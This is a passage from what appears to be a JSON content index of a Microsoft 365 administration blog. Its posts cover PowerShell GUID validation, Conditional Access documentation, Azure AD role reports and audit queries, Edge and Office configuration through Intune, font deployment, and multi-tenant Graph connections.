we can invoke this nice .NET member method which returns true or false based on the input:\n[guid]::TryParse(\u0026#34;d815c3bc-9c49-4633-9d16-29808242d063\u0026#34;, $([ref][guid]::Empty)) I guess that\u0026rsquo;s much more convenient.\nHelper Function # Here\u0026rsquo;s a helper function which can be used in PowerShell scripts:\nHope this saves you some time.\nHappy GUID\u0026rsquo;ing.\n","date":"5 May 2020","externalUrl":null,"permalink":"/validating-a-guid-with-powershell/","section":"Posts","summary":"For some recent Microsoft Graph scripts I wanted to translate some Azure AD Object ID / GUID entries to their respective display name. The array with the GUID’s contained already some readable text. Of course I only wanted to translate the GUID entries with according Graph API requests. Otherwise the Graph requests would fail. Google offered only some fancy regex functions and helpers but I had that .NET function in my mind which looks much nicer compared to whatever regex pattern that I don’t understand.\n\"applications\": { \"includeApplications\": [ \"797f4846-ba00-4fd7-ba43-dac1f8f63013\", \"Office365\" ] } So I needed a way to test a string for a valid GUID and only invoking the Graph calls for GUID values.\nMatching a GUID with a regex # I found the following regex on this site:\n\"d815c3bc-9c49-4633-9d16-29808242d063\" -match '(?im)^[{(]?[0-9A-F]{8}[-]?(?:[0-9A-F]{4}[-]?){3}[0-9A-F]{12}[)}]?$' Matching a GUID with the .NET method # Instead of the complex regex we can invoke this nice .NET member method which returns true or false based on the input:\n[guid]::TryParse(\"d815c3bc-9c49-4633-9d16-29808242d063\", $([ref][guid]::Empty)) I guess that’s much more convenient.\nHelper Function # Here’s a helper function which can be used in PowerShell scripts:\n","title":"Validating a GUID with PowerShell","type":"posts"},{"content":"Documenting things sucks. If it involves a lot of klick(edi klack klack) in portals and copying information around even more. But there\u0026rsquo;s hope. And it\u0026rsquo;s called automation. For the Intune part Thomas Kurt did already an awesome job with his IntuneDocumentation. Now the Modern Workplace Concierge is ready to help you with documenting your Conditional Access configuration. I promise you: we will get through this within under 15 minutes! Afterwards you can make an impression on your fellow Enterprise Mobility teammates.\nWhat\u0026rsquo;s inside? # A Conditional Access policy is returned by the Microsoft Graph API in the following JSON representation:\n{ \"id\": \"714b5737-5f13-415e-bf96-d659f3a5928e\", \"displayName\": \"PROD - Admin protection - Azure management: Require MFA\", \"createdDateTime\": null, \"modifiedDateTime\": null, \"state\": \"enabled\", \"grantControls\": { \"operator\": \"OR\", \"builtInControls\": [ \"mfa\" ], \"customAuthenticationFactors\": [], \"termsOfUse\": [] }, \"conditions\": { \"signInRiskLevels\": [], \"clientAppTypes\": [], \"platforms\": null, \"locations\": null, \"deviceStates\": null, \"applications\": { \"includeApplications\": [ \"797f4846-ba00-4fd7-ba43-dac1f8f63013\" ], \"excludeApplications\": [], \"includeUserActions\": [] }, \"users\": { \"includeUsers\": [ \"All\" ], \"excludeUsers\": [], \"includeGroups\": [], \"excludeGroups\": [ \"04988d96-ad01-4569-9aee-a199a1cb4f8e\" ], \"includeRoles\": [], \"excludeRoles\": [] } }, \"sessionControls\": null } That\u0026rsquo;s not really human readable. Especially the object id\u0026rsquo;s (32 character UUIDs) make it difficult to guess to which users or apps a policy is assigned. But an API has definitely other goals than showing pretty formatted reports.\nTime to shine # Now it\u0026rsquo;s time to shine for the Modern Workplace Concierge. He will process your conditional access policies and convert all the object id\u0026rsquo;s like included / excluded users, groups, directory roles and applications.\nIn order to perform the conversion from the object id\u0026rsquo;s to display names the concierge asks the Microsoft Graph API under the following endpoints (base url starting with https://graph.microsoft.com:443):\n/beta/conditionalAccess/namedLocations /beta/directoryRoleTemplates /beta/servicePrincipals /beta/groups /beta/users Additionally he uses a mapping table for other well known (but unfortunately not really nice documented Microsoft apps like the Azure Portal which share the same application id in every tenant).\nBesides the conversion part the concierge queries:\n/beta/identity/conditionalAccess/policies /beta/organization Have you spotted the new Conditional Access Graph URL? 😉And if you\u0026rsquo;re wondering why he queries the /organization resource, that\u0026rsquo;s to include your default domain in the filename name of the csv.\nAfter hitting the \u0026ldquo;Create Documentation\u0026rdquo; button you can watch the concierge doing his work by expanding the messages tab which includes the requests sent to the Graph API.\nWhen finished you will receive a CSV file containing your documentation.\nComma separated - not semicolon separated! # When opening your file in Excel gives you a file like this - don\u0026rsquo;t put the blame on the concierge! He\u0026rsquo;s not having a hiccup. It\u0026rsquo;s (the) Windows (list separator).\nMake sure to replace the list separator The concierge exports the csv with comma delimited (separated) values. But Excel uses the Windows list separator which might be a semicolon based on your regional settings. A nice explanation is available here.\nAn easy fix is to open the csv file in the windows notepad and replacing all commas \u0026ldquo;,\u0026rdquo; with a semicolon \u0026ldquo;;\u0026rdquo;. [ctrl] + [h] opens the replace dialogue.\nExcel time # Now we\u0026rsquo;re ready to work on our documentation. We will transpose (rotate) our csv so the rows become columns and vice versa. This improves the readability of our documentation. Furthermore we will create a new Excel file to use formatting (which is not supported for csv files).\nCopy the CSV data to the clipboard Create a new excel workbook\nRight click \u0026amp; paste the csv data with the transpose option Expand the rows and columns and \u0026amp; turn on textwrap Have you ever heard about the max row height of 409 points in excel? To display all the included directory roles I replaced the line breaks with commas with this online tool.\nA few mouse klicks and formatting steps later I ended up with this report (click here to see the pdf version \u0026amp; here if you prefer to have the excel file): Guess that\u0026rsquo;s not too shabby? I really like the spreadsheet format because it provides an overview about all configured policies in one place. It might be a nice way to show your fellow teammates a current Conditional Access configuration.\nHappy documenting and thank you for using the Modern Workplace Concierge.\n","date":"20 April 2020","externalUrl":null,"permalink":"/document-conditional-access-configuration/","section":"Posts","summary":"Documenting things sucks. If it involves a lot of klick(edi klack klack) in portals and copying information around even more. But there’s hope. And it’s called automation. For the Intune part Thomas Kurt did already an awesome job with his IntuneDocumentation. Now the Modern Workplace Concierge is ready to help you with documenting your Conditional Access configuration. I promise you: we will get through this within under 15 minutes! Afterwards you can make an impression on your fellow Enterprise Mobility teammates.\nWhat’s inside? # A Conditional Access policy is returned by the Microsoft Graph API in the following JSON representation:\n{ \"id\": \"714b5737-5f13-415e-bf96-d659f3a5928e\", \"displayName\": \"PROD - Admin protection - Azure management: Require MFA\", \"createdDateTime\": null, \"modifiedDateTime\": null, \"state\": \"enabled\", \"grantControls\": { \"operator\": \"OR\", \"builtInControls\": [ \"mfa\" ], \"customAuthenticationFactors\": [], \"termsOfUse\": [] }, \"conditions\": { \"signInRiskLevels\": [], \"clientAppTypes\": [], \"platforms\": null, \"locations\": null, \"deviceStates\": null, \"applications\": { \"includeApplications\": [ \"797f4846-ba00-4fd7-ba43-dac1f8f63013\" ], \"excludeApplications\": [], \"includeUserActions\": [] }, \"users\": { \"includeUsers\": [ \"All\" ], \"excludeUsers\": [], \"includeGroups\": [], \"excludeGroups\": [ \"04988d96-ad01-4569-9aee-a199a1cb4f8e\" ], \"includeRoles\": [], \"excludeRoles\": [] } }, \"sessionControls\": null } That’s not really human readable. Especially the object id’s (32 character UUIDs) make it difficult to guess to which users or apps a policy is assigned. But an API has definitely other goals than showing pretty formatted reports.\n","title":"Document Conditional Access Configuration with my Modern Workplace Concierge","type":"posts"},{"content":"","date":"20 April 2020","externalUrl":null,"permalink":"/tags/modernworkplaceconcierge/","section":"Tags","summary":"","title":"Modernworkplaceconcierge","type":"tags"},{"content":"If you are using the \u0026ldquo;AzureAD\u0026rdquo; PowerShell module (also applies to the AzureADPreview) you have probably noticed that the Connect-AzureAD Cmdlet ignores existing access tokens and initiates a new sign in to Azure AD even if you are already signed in.\nPrompt you get when calling the \"Connect-AzureAD\" cmdlet Long story short, I got annoyed every time when I accidentally recalled Connect-AzureAD (mostly when working with Scripts) until I found this amazing hint on technet and now I want to (re-)share it with you.\nIn your PowerShell scripts simply use the following snippet to connect with Azure AD / check your connection and you wont get any sign-in prompts if you are already connected!\nReusing the access token for the MsOnline module # The Azure AD PowerShell access token which gets stored can also be used to connect to the MsOnline resources (because certain attributes like strong authentication details are not available with the AzureAD modules):\n$token = [Microsoft.Open.Azure.AD.CommonLibrary.AzureSession]::AccessTokens Connect-MsolService -AccessToken $token.AccessToken.AccessToken ","date":"25 March 2020","externalUrl":null,"permalink":"/i-said-connect-azuread-and-not-sign-out-and-re-sign-in/","section":"Posts","summary":"If you are using the “AzureAD” PowerShell module (also applies to the AzureADPreview) you have probably noticed that the Connect-AzureAD Cmdlet ignores existing access tokens and initiates a new sign in to Azure AD even if you are already signed in.\nPrompt you get when calling the \"Connect-AzureAD\" cmdlet Long story short, I got annoyed every time when I accidentally recalled Connect-AzureAD (mostly when working with Scripts) until I found this amazing hint on technet and now I want to (re-)share it with you.\nIn your PowerShell scripts simply use the following snippet to connect with Azure AD / check your connection and you wont get any sign-in prompts if you are already connected!\nReusing the access token for the MsOnline module # The Azure AD PowerShell access token which gets stored can also be used to connect to the MsOnline resources (because certain attributes like strong authentication details are not available with the AzureAD modules):\n$token = [Microsoft.Open.Azure.AD.CommonLibrary.AzureSession]::AccessTokens Connect-MsolService -AccessToken $token.AccessToken.AccessToken","title":"I said Connect-AzureAD and not sign-out and re-sign-in!","type":"posts"},{"content":"The Azure AD portal does not really provide an overview about all directory role assignments in your tenant. If you want to review existing Azure AD Directory roles a csv report will probably better server your needs. Therefore I created a PowerShell script to export the role assignments.\nThe Azure AD Portal only displays limited information about the assignments ### PowerShell Script Find the PowerShell script in my techblog GitHub Repository.\nMake sure that you have the AzureAD PowerShell module installed before running the script. You can install it by running \u0026ldquo;Install-Module AzureAD\u0026rdquo;.\nPowerShell script output Report # The report contains three columns:\nRole (name of the directory role) Note that the Global Administrator Role is represented as Company Administrator Member If the role is assigned to a user its the UserPrincipalName If the role is assigned to a service principal its the display name with the Azure AD application ID in the brackets ObjectType Indicates whether the role is assigned to user account or a service principal CSV file containing all assigned directory roles Comparing reports # You can compare two reports with the following PowerShell code:\n$firstReport = Import-Csv -Path \u0026#34;AzureADDirectoryRoleAssignments_2020-03-13 - Copy.csv\u0026#34; -Delimiter \u0026#34;;\u0026#34; $secondReport = Import-Csv -Path \u0026#34;AzureADDirectoryRoleAssignments_2020-03-13.csv\u0026#34; -Delimiter \u0026#34;;\u0026#34; Compare-Object $firstReport $secondReport Counting assignments per directory role # If you want to count how many times each role is assigned, e.g. how many times is the Company Administrator (Global Administrator) role assigned you can process the date stored in \u0026ldquo;$roleAssignments\u0026rdquo;\n$roleAssignments | Group-Object -Property Role | Sort-Object -Descending | Select-Object -Property Name,Count Name Count ---- ----- Directory Readers 5 Privileged Role Administrator 1 Security Administrator 1 Company Administrator 2 Other approaches # An even better approach is to use Azure AD Access reviewswhere users need to confirm their assigned directory role on a regular basis to keep it:\nAzure AD Access Review The downside here is that it requires Azure AD Premium P2 licenses .\nFinal words # Generating a report of assigned directory roles can provide you good insights and also be a motivation to verify if you\u0026rsquo;re really following the least privilege approach.\nTo end this post I have three questions as a take away for you which hopefully support your review process of the report:\nAre new built-in roles available which better suit required permissions? Are you really using least privilege? (See Administrator role permissions in Azure Active Directory) Have you considered Azure AD privileged Identity Management (PIM)? Could you use service specific RBAC features with fine grained permissions instead of directory roles? ","date":"19 March 2020","externalUrl":null,"permalink":"/report-assigned-azure-ad-roles/","section":"Posts","summary":"The Azure AD portal does not really provide an overview about all directory role assignments in your tenant. If you want to review existing Azure AD Directory roles a csv report will probably better server your needs. Therefore I created a PowerShell script to export the role assignments.\nThe Azure AD Portal only displays limited information about the assignments ### PowerShell Script Find the PowerShell script in my techblog GitHub Repository.\nMake sure that you have the AzureAD PowerShell module installed before running the script. You can install it by running “Install-Module AzureAD”.\nPowerShell script output Report # The report contains three columns:\nRole (name of the directory role) Note that the Global Administrator Role is represented as Company Administrator Member If the role is assigned to a user its the UserPrincipalName If the role is assigned to a service principal its the display name with the Azure AD application ID in the brackets ObjectType Indicates whether the role is assigned to user account or a service principal CSV file containing all assigned directory roles Comparing reports # You can compare two reports with the following PowerShell code:\n","title":"Generate a report about assigned Azure Active Directory roles","type":"posts"},{"content":"An account in your Azure Active Directory got deleted and you want to examine who initiated the delete action? Sounds very simple but if you do not want to search your logs manually things become a little bit trickier.\nThe challenge # When a user gets deleted and you only remember it\u0026rsquo;s userPrincipalName you wont be able to to search for a match. And I doubt that you memorized the Azure AD object id of that user.\nHere\u0026rsquo;s what the Azure AD Audit log shows us:\nThe userPrincipalName attribute will get the Azure AD object ID as prefix:\nuserPrincipalName before deletion: jane.doe@nicolonsky.ch userPrincipalName after deletion: f5d7e17347594a658d124329b9b025abjane.doe@nicolonsky.ch By having a closer look to the Azure Active Directory Audit logs you will notice that the filtering or search capabilities are limited in terms of searching for a specific target:\nSearch is case-sensitive and only supports \u0026lsquo;starts with\u0026rsquo; operator\nWhich means we cannot search for the userPrincipalName. The only option in the Azure AD Audit Logs would be to download the logs and perform a search within a text editor which is not really feasible nor efficient.\nNote: Azure AD Premium (P1 / P2 plans) retains audit and sign-in logs only 30 days! Source.\nIf you are not forwarding your Azure AD audit logs and you do not have an SIEM or monitoring solution in place it is the call to action to deploy an Azure Log Analytics Workspace!\nI wrote a blog post a few months ago where I described how to forward your Azure AD \u0026amp; Intune logs to Log Analytics.\nAzure Monitor (Log Analytics) # Searching for a deleted user in Log Analytics with KQL (Kusto Query Language) is definitely more feasible and allows us to search for the userPrincipalName with the \u0026ldquo;contains\u0026rdquo; operator.\nAuditLogs | where TargetResources[0].userPrincipalName contains \u0026#34;jane.doe@nicolonsky.ch\u0026#34; | where AADOperationType == \u0026#34;Delete\u0026#34; | project ActivityDateTime, OperationName, InitiatedBy.user.userPrincipalName, TargetResources[0].userPrincipalName, TargetResources[0].id Takeaways # Retain your Azure AD audit logs for a sufficient time (easiest and cheapest way is probably Azure Monitor / Log Analytics) If you are using Azure AD Connect and investigating deleted hybrid identities the Azure AD Audit logs will not help you because the Azure AD Connect account replicates directory changes \u0026ndash;\u0026gt; Investigate your on premises Active Directory logs Did I already mention that you should deploy a Log Analytics Workspace? ","date":"13 February 2020","externalUrl":null,"permalink":"/detect-deleted-user-accounts-in-azure-active-directory/","section":"Posts","summary":"An account in your Azure Active Directory got deleted and you want to examine who initiated the delete action? Sounds very simple but if you do not want to search your logs manually things become a little bit trickier.\nThe challenge # When a user gets deleted and you only remember it’s userPrincipalName you wont be able to to search for a match. And I doubt that you memorized the Azure AD object id of that user.\nHere’s what the Azure AD Audit log shows us:\nThe userPrincipalName attribute will get the Azure AD object ID as prefix:\nuserPrincipalName before deletion: jane.doe@nicolonsky.ch userPrincipalName after deletion: f5d7e17347594a658d124329b9b025abjane.doe@nicolonsky.ch By having a closer look to the Azure Active Directory Audit logs you will notice that the filtering or search capabilities are limited in terms of searching for a specific target:\nSearch is case-sensitive and only supports ‘starts with’ operator\nWhich means we cannot search for the userPrincipalName. The only option in the Azure AD Audit Logs would be to download the logs and perform a search within a text editor which is not really feasible nor efficient.\n","title":"Detect Deleted User Accounts in Azure Active Directory","type":"posts"},{"content":"With the availability of the new Edge browser based on chromium I gained the first experiences about configuring the browser in an enterprise environment. Of course I want to share those with you. This post hopefully helps you to roll-out and configure the new Edge Browser with Microsoft Intune.\nInstall the new Edge Chromium with Intune # The installation of Edge is not the main topic of this post. The Edge browser is available in Intune as built-in app type like the Office 365 suite. More information about the installation process is available here.\nSet Edge Chromium as default browser # Default applications are configured on the Windows 10 operating system level via app associations. The current app associations of a device can be exported with dism and the command:\nDism /Online /Export-DefaultAppAssociations:\u0026quot;appassociations.xml\u0026quot;\nWhich will produce a file containing all associations. For setting Edge as the default browser this one is sufficient:\nTo deploy an app associations file with Intune it needs to be base64 encoded. I used the base64encode online tool.\nIntune configuration # To distribute the default app association configure the following OMA-URI in a custom device configuration profile:\n| Name | Default app association | | Description | Configures Edge as default app browser | | OMA-URI | ./Vendor/MSFT/Policy/Config/ApplicationDefaults/DefaultAssociationsConfiguration | | Data type | String | | Value | Insert original content of the base64 encoded file mentioned above. |\nCreate a new administrative template device configuration # The new Edge browser is managed with administrative templates in Intune. As a first step create a new device configuration profile and select administrative templates as profile type.\nUser or device setting? # Each setting for the Microsoft Edge browser is available as user and device setting:\nI mainly chose the \u0026ldquo;device\u0026rdquo; settings because the settings should apply for all users on a device. If you want to distinguish settings on a per-user level for multiple users sharing a device you should probably better go for the \u0026ldquo;user\u0026rdquo; configuration (although the user settings part seems more a group policy relict).\nConfigure Google as default search engine # Edge chromium ships with Bing set as default search engine. If you want to change that you need to enable the following settings. First I was irritated because the values with all those curly brackets looked quite strange but you do not need to replace anything regarding the values.\n| Setting | State | | Default search provider search URL | Enabled: {google:baseURL}search?q={searchTerms}\u0026amp;{google:RLZ}{google:originalQueryForSuggestion}{google:assistedQueryStats}{google:searchFieldtrialParameter}{google:searchClient}{google:sourceId}ie={inputEncoding} | | Default search provider URL for suggestions | Enabled: {google:baseURL}complete/search?output=chrome\u0026amp;q={searchTerms} | | Enable the default search provider | Enabled | | Default search provider name | Enabled: Google |\nThe \u0026ldquo;Default search provider name\u0026rdquo; setting has only some kind of cosmetique effect and will display the configured name instead of the configured search provider url.\nEnd user experience # Google configured as default search engine Configure Internet explorer mode \u0026amp; enterprise site list # If you have intranet applications which require Internet Explorer the IE mode is the right thing for you. Because the enterprise site list needs to be available locally or on a web server I will show you how to host the file on azure blob storage (which allows to access the file via url).\nThe enterprise mode site list is generated with the Enterprise Mode Site List Manager tool which is available here. After you generated the list, export the xml file.\nNote: Only v.2 schema is supported for Edge chromium.\nTo host the enterprise mode site list let\u0026rsquo;s deploy an azure storage account. This gives us the ability to change the enterprise mode site list without any file copy to our Intune clients and makes a dedicated web server obsolete.\nTo store the file we need a new container. We choose public access for individual blobs.\nNow upload your enterprise site list and copy the URL. In my case the URL was: https://nicolonskyintuneconfig.blob.core.windows.net/iesitelist/EnterpriseSiteList.xml.\nAdministrative template setting # In Intune configure the following settings in your administrative template:\n| Setting | State | | Configure the Enterprise Mode Site List | Enabled: {URL of your enterprise mode site list} | | Configure Internet Explorer integration | Enabled: Internet Explorer mode |\nUser experience # When accessing a website configured in the enterprise mode site list a small internet explorer icon gets displayed next to the address bar, indicating that IE mode is configured.\nTo troubleshoot or view additional details of your enterprise mode site list type edge://compat in the address bar. You will find the configured site list and a button to force-update the list. Additionally you get a nice overview about the configured domains.\nDeploy managed extensions # Extensions can be deployed on all devices with the managed extensions setting. The setting requires the ID of the extension which can be retrieved from the url of the extension store (https://microsoftedge.microsoft.com/addons) when browsing to the extension:\nThe ID of the extension is sufficient for the policy to work. The update url can be specified optionally.\nAdministrative template setting # | Setting | State | | Control which extensions are installed silently | Enabled: {ID of the extensions copied from the store} |\nAn important hint from this setting reminds us that even if the installation of all extensions is blocked (default setting of the security baseline) managed extensions have a higher precedence than this setting:\nThis policy takes precedence over a potentially conflicting \u0026lsquo;ExtensionInstallBlocklist\u0026rsquo; policy. When you take an extension off of the force-installed list it\u0026rsquo;s automatically uninstalled by Microsoft Edge.\nEnd user experience # The extension gets automatically enabled and a small enterprise icon indicates a managed extension.\nProvision managed favorites # Managed favorites are supplied as json file containing links with the possibility to add sub-folders. Managed favorites can neither be modified or synced by users. Managed favorites are super useful to distribute all the Microsoft portal urls to end-users and in my opinion a very welcome replacement for desktop icons.\nHere\u0026rsquo;s an example of a json file to deploy managed favorites:\nIf you want to edit your list i recommend visual studio code or an online json formatter.\nAdministrative template setting # | Setting | State | | Configure favorites | Enabled: {content of your json file} |\nEnd user experience # Managed favorites are placed as first entry on the favorites bar and a nice way to distribute url\u0026rsquo;s to company applications:\n### Configure the security baseline The Edge security baseline is directly available from Intune. A nice excel list with all the settings (also includes all Edge policies) is included in the security and compliance toolkit available as a download: https://www.microsoft.com/en-us/download/details.aspx?id=55319.\nEdge chromium is included in the Intune security baselines Security Baseline Compliance Wrapping it all up # We now have successfully configured the following settings in our administrative template configuration:\nConfigured Administrative Template Settings for Edge Don\u0026rsquo;t forget to assign the device configuration to a group of users and devices.\nTroubleshooting # All configured policies for Edge can be viewed by typing \u0026ldquo;edge://policy/\u0026rdquo; in the address bar.\nHide the first run wizard # Not this setting is not yet available in the administrative templates in Intune!\nStarting with Edge version 80 the first run wizard can be hidden with the following setting:\n| Setting | State | | Hide the First-run experience and splash screen | Enabled |\nIf you enable to hide the first run wizard:\nThe new tab page will show MSN news and configure the layout to Inspirational Users will be automatically signed-in Favorite sync will not be enabled by default More information is available here.\nEdge URL list # Let\u0026rsquo;s end this post with a list containing useful built-in Edge urls which might help you:\n| URL | Description | | edge://about | Display all Edge-urls | | edge://version | Display version information about the Edge installation | | edge://policy | List configured policies | | edge://compat/enterprise | Internet Explore mode \u0026amp; Enterprise Mode Site List information |\nFurther reading # Microsoft Edge - Policies [Microsoft] How to set UI language on Edge with Intune [Per Larsen] Deploying the new Microsoft Edge without a desktop shortcut [Michael Niehaus] Setup an Edge Chromium based Kiosk device with Microsoft Intune [Peter Klapwijk] Happy Edge deployment!\n","date":"3 February 2020","externalUrl":null,"permalink":"/managing-the-new-microsoft-edge-browser-with-intune/","section":"Posts","summary":"With the availability of the new Edge browser based on chromium I gained the first experiences about configuring the browser in an enterprise environment. Of course I want to share those with you. This post hopefully helps you to roll-out and configure the new Edge Browser with Microsoft Intune.\nInstall the new Edge Chromium with Intune # The installation of Edge is not the main topic of this post. The Edge browser is available in Intune as built-in app type like the Office 365 suite. More information about the installation process is available here.\nSet Edge Chromium as default browser # Default applications are configured on the Windows 10 operating system level via app associations. The current app associations of a device can be exported with dism and the command:\nDism /Online /Export-DefaultAppAssociations:\"appassociations.xml\"\nWhich will produce a file containing all associations. For setting Edge as the default browser this one is sufficient:\nTo deploy an app associations file with Intune it needs to be base64 encoded. I used the base64encode online tool.\nIntune configuration # To distribute the default app association configure the following OMA-URI in a custom device configuration profile:\n","title":"Managing the new Microsoft Edge Browser with Intune","type":"posts"},{"content":"Microsoft recently announced to install a Bing extension on new and existing Office 365 ProPlus installations which will set Bing as the default search engine starting with the first Office 365 ProPlus release in 2020 - not appreciated Microsoft and definitely not what customers want! The extension will be shipped for new Office installations and existing clients with Office 365 ProPlus installed when they update.\nUpdate 11.02.2020: \u0026ldquo; The Microsoft Search in Bing browser extension will not be automatically deployed with Office 365 ProPlus.\u0026rdquo; - I will keep this post for the archives.\nStarting with Version 2002 of Office 365 ProPlus, an extension for Microsoft Search in Bing will be installed that makes Bing the default search engine for the Google Chrome web browser only on devices in certain locations. This extension will be installed with new installations of Office 365 ProPlus or when existing installations of Office 365 ProPlus are updated. (Reference)\nAs expected date the 2002 release will be rolling out in March for the monthly update channel.\nMore details are available under:\nMicrosoft Search in Bing and Office 365 ProPlus Affected locations New Office installations # To avoid the plugin being installed with new office installations edit your Office 365 Configuration with the Office Customization Tool . Make sure to toggle the switch for \u0026ldquo;Set default search engine to Microsoft Search in Bing\u0026rdquo; to off:\nYou can verify you Office deployment configuration to contain the following entry which will prevent the installation (please note that the configuration is truncated for better readability):\n\u0026lt;Add OfficeClientEdition=\u0026quot;64\u0026quot; Channel=\u0026quot;Insiders\u0026quot;\u0026gt; \u0026lt;Product ID=\u0026quot;O365ProPlusRetail\u0026quot;\u0026gt; \u0026lt;ExcludeApp ID=\u0026quot;Bing\u0026quot; /\u0026gt; \u0026lt;/Product\u0026gt; \u0026lt;/Add\u0026gt; \u0026lt;/Configuration\u0026gt; Afterwards update your office configuration xml file in Intune. If you have deployed Office 365 in Intune via Configuration Designer you need to be patient until end of February - Microsoft recommends to switch to the XML configuration option until the switch will become available.\n### Prevent installation on existing Intune clients with Office 365 To avoid the extension being installed during Office updates we use the newly updated admx templates and deploy an admx backend policy to take advantage of the group policy setting:\nDownload the Office 365 admx templates (download link) Copy the contents of the office16.admx file\nCreate a new Intune custom device configuration and add the following OMA URI\u0026rsquo;s: | Name | Office16 admx | | Description | office16 admx ingestion | | OMA-URI | ./Vendor/MSFT/Policy/ConfigOperations/ADMXInstall/office16admx/Policy/office16admx | | Data type | String | | Value | Insert original content of the office16 admx file mentioned above. |\n| Name | PreventBingInstall | | Description | prevent bing installation | | OMA-URI | ./Device/Vendor/MSFT/Policy/Config/office16admxPolicyL_MicrosoftOfficemachine~L_Updates/L_PreventBingInstall | | Data type | String | | Value | \u0026lt;enabled/\u0026gt; |\nThe Configuration should now look like this:\nAssign the policy and verify the result on a test-device where the policy is visible in the office policy section in the Windows registry\nHope this post helps you to prepare your Intune tenant against the unwanted changes. Keep on googling. 😉\n","date":"24 January 2020","externalUrl":null,"permalink":"/prevent-intune-devices-from-getting-the-microsoft-search-bing-plugin/","section":"Posts","summary":"Microsoft recently announced to install a Bing extension on new and existing Office 365 ProPlus installations which will set Bing as the default search engine starting with the first Office 365 ProPlus release in 2020 - not appreciated Microsoft and definitely not what customers want! The extension will be shipped for new Office installations and existing clients with Office 365 ProPlus installed when they update.\nUpdate 11.02.2020: “ The Microsoft Search in Bing browser extension will not be automatically deployed with Office 365 ProPlus.” - I will keep this post for the archives.\nStarting with Version 2002 of Office 365 ProPlus, an extension for Microsoft Search in Bing will be installed that makes Bing the default search engine for the Google Chrome web browser only on devices in certain locations. This extension will be installed with new installations of Office 365 ProPlus or when existing installations of Office 365 ProPlus are updated. (Reference)\nAs expected date the 2002 release will be rolling out in March for the monthly update channel.\nMore details are available under:\nMicrosoft Search in Bing and Office 365 ProPlus Affected locations New Office installations # To avoid the plugin being installed with new office installations edit your Office 365 Configuration with the Office Customization Tool . Make sure to toggle the switch for “Set default search engine to Microsoft Search in Bing” to off:\n","title":"Prevent Intune devices from getting the Microsoft search (Bing) plugin","type":"posts"},{"content":"Recently a customer using Microsoft Intune requested to deploy a TrueType font required by one of their line of business apps. Because Intune does not offer a native solution to deploy fonts it was quite clear that a PowerShell script or Intune Win32 app should do the trick. Note that the mentioned PowerShell scripts can also be used for app deployments with Configuration Manager (MEMCM).\nHow to install a font programmatically? # There seem to be multiple options depending on the operating system version. I\u0026rsquo;ve tested this with Windows 10 1909. And broke it down to the following steps:\nCopy the font to the \u0026ldquo;C:\\Windows\\Fonts\u0026rdquo; folder Create a registry key which points to the filename of the *.ttf or *.otf font copied to the Windows font path How to install a font with Intune? # To get the font to Windows 10 devices I created a PowerShell script which copies the font files to the windows-fonts folder and creates the required registry key.\nDeploying the PowerShell script as Intune Win32 app has the advantage that we can link the font as a dependency if any app requires a specific font. Additionally we can detect and uninstall the font if needed.\nTo uninstall the font I created an uninstall script which reverts the steps mentioned above.\nBoth scripts are available on GitHub.\nCombining Intune Win32 apps and a PowerShell script # Prepare a folder structure with your font and the installfonts.ps1 script DeployFont ┣ fonts/ ┃ ┗ place your fonts files (*.ttf / *.otf) in this directory ┣ installfonts.ps1 ┗ uninstallfont.ps1 Create a new intunewin package with the Microsoft-Win32-Content-Prep-Tool and wrap the whole DeployFont folder: Add a new win32 app in Intune \u0026amp; upload the intunewin package\nProgram settings: Setting Value Install command %windir%\\sysnative\\windowspowershell\\v1.0\\powershell.exe -ExecutionPolicy Bypass -file \u0026quot;installfonts.ps1\u0026quot; Uninstall command %windir%\\sysnative\\windowspowershell\\v1.0\\powershell.exe -ExecutionPolicy Bypass -file \u0026quot;uninstallfont.ps1\u0026quot; Install behavior System Detection Rule: Add detection rules which match the file names of your *.otf and *.ttf files within the C:\\Windows\\Fonts\\ folder.\nAssign the app as available or required\nTargeted Machines # On a Windows 10 machine enrolled in Intune we can now test the installation:\nAnd find the font successfully installed:\nAlso note that a very basic log gets created under \u0026lsquo;C:\\Windows\\Temp\\InstallFont.log\u0026rsquo;.\nFinal words # Hoping this guide helps you to deploy font files to Windows 10 devices and saves you some time. The mentioned PowerShell scripts could also be used with Configuration Manager (MEMCM).\nHappy Font-Deployment.\n","date":"19 January 2020","externalUrl":null,"permalink":"/deploy-fonts-with-intune/","section":"Posts","summary":"Recently a customer using Microsoft Intune requested to deploy a TrueType font required by one of their line of business apps. Because Intune does not offer a native solution to deploy fonts it was quite clear that a PowerShell script or Intune Win32 app should do the trick. Note that the mentioned PowerShell scripts can also be used for app deployments with Configuration Manager (MEMCM).\nHow to install a font programmatically? # There seem to be multiple options depending on the operating system version. I’ve tested this with Windows 10 1909. And broke it down to the following steps:\nCopy the font to the “C:\\Windows\\Fonts” folder Create a registry key which points to the filename of the *.ttf or *.otf font copied to the Windows font path How to install a font with Intune? # To get the font to Windows 10 devices I created a PowerShell script which copies the font files to the windows-fonts folder and creates the required registry key.\nDeploying the PowerShell script as Intune Win32 app has the advantage that we can link the font as a dependency if any app requires a specific font. Additionally we can detect and uninstall the font if needed.\n","title":"Deploy fonts to Intune managed Windows 10 devices","type":"posts"},{"content":"","date":"19 January 2020","externalUrl":null,"permalink":"/categories/legacy-best-of/","section":"Categories","summary":"","title":"Legacy Best Of","type":"categories"},{"content":"If you manage multiple Intune tenants with your Azure AD account (invited as guest in the foreign tenant) we need a way to specify the tenant id we want to connect. Otherwise you will land in your home-tenant every time. This posts shows you how to accomplish that with the Intune PowerShell SDK.\nIf we have a look at the default Graph settings in a PowerShell session with the Intune PowerShell SDK you will notice that all authentication requests will land on the /common endpoint.\nGet-MSGraphEnvironment AuthUrl : https://login.microsoftonline.com/common ResourceId : https://graph.microsoft.com/ GraphBaseAddress : https://graph.microsoft.com AppId : d1ddf0e4-d672-4dae-b554-9d5bdfd93547 RedirectLink : urn:ietf:wg:oauth:2.0:oob SchemaVersion : v1.0 To connect to a specific tenant we need to update the AuthUrl to contain the tenant id or any registered domain name of the target tenant before connecting:\nUpdate-MSGraphEnvironment -AuthUrl \u0026#34;https://login.microsoftonline.com/nicolonsky.ch\u0026#34; Afterewards you can connect to Microsoft Graph as usual:\nConnect-MSGraph ``` Happy Microsoft Graph-ing with multiple tenants. ","date":"9 January 2020","externalUrl":null,"permalink":"/connecting-to-foreign-intune-tenants-with-microsoft-graph-and-powershell/","section":"Posts","summary":"If you manage multiple Intune tenants with your Azure AD account (invited as guest in the foreign tenant) we need a way to specify the tenant id we want to connect. Otherwise you will land in your home-tenant every time. This posts shows you how to accomplish that with the Intune PowerShell SDK.\nIf we have a look at the default Graph settings in 